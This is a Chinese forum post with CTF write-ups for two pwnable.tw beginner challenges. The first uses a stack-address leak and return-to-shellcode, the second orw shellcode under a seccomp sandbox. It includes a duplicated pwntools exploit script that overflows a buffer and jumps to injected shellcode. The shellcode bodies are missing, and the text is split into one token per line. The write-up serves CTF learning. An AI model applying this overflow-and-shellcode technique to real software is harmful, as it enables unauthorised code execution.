-
-
[原创]pwnable.tw入门
-
发表于:
2022-4-28 00:29
8393
-
pwnable.tw官方不希望暴露题解,所以仅提供两道入门题的题解,供各位大师傅熟悉平台
差点不会写
一道ret2shellcode的好题,难度大于直接shellcraft,略低于招新赛的code
啥都没开那就可以考虑shellcode
发现是32位的两个系统调用,先write然后read,而且write的是esp指向的栈上的内容
最后retn 即pop eip jmp
首先明确,写只能往栈上写,如果想调用shellcode,那么我们需要劫持retn的地址为栈上存放shellcode的地址。那么就需要泄露栈地址,即把esp存放的位置想办法指向栈上的位置然后write esp
我们看看正常执行流碰到retn后栈上的分布,就会发现一件很巧的事情
ret之后,esp就滑向了0xdc->0xe0,如果我们ret 到write的系统调用,不就正好可以打印栈上地址了莫?
栈布局啥的就不说了,自己调调就能出
就说说shellcode
push的两个字符应该按照‘/bin/sh’的小端字序,即‘\x00hs/'和'nib/’转16进制
一道手写orw系统调用shellcode的裸题
有个沙箱,用seccomp-tools看看干了些啥
发现没有允许execve的系统调用,题目也给了一个文件的目录(hgame貌似用的是相对目录但是前提是当前目录有flag文件),考虑orw
shellcode
=
from
pwn
import
*
context.log_level
=
'debug'
r
=
process(
'./start'
)
gdb.attach(r)
r.sendafter(
'CTF:'
,
'a'
*
0x14
+
p32(
0x8048087
))
stack
=
u32(r.recv(
4
))
log.success(
'stack:'
+
hex
(stack))
shellcode
=
payload
=
'a'
*
0x14
+
p32(stack
+
0x14
)
+
asm(shellcode)
r.send(payload)
r.interactive()
from
pwn
import
*
context.log_level
=
'debug'
r
=
process(
'./start'
)
gdb.attach(r)
r.sendafter(
'CTF:'
,
'a'
*
0x14
+
p32(
0x8048087
))
stack
=
u32(r.recv(
4
))
log.success(
'stack:'
+
hex
(stack))
shellcode
=
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
最后于 2022-4-28 15:21
被Nameless_a编辑
,原因: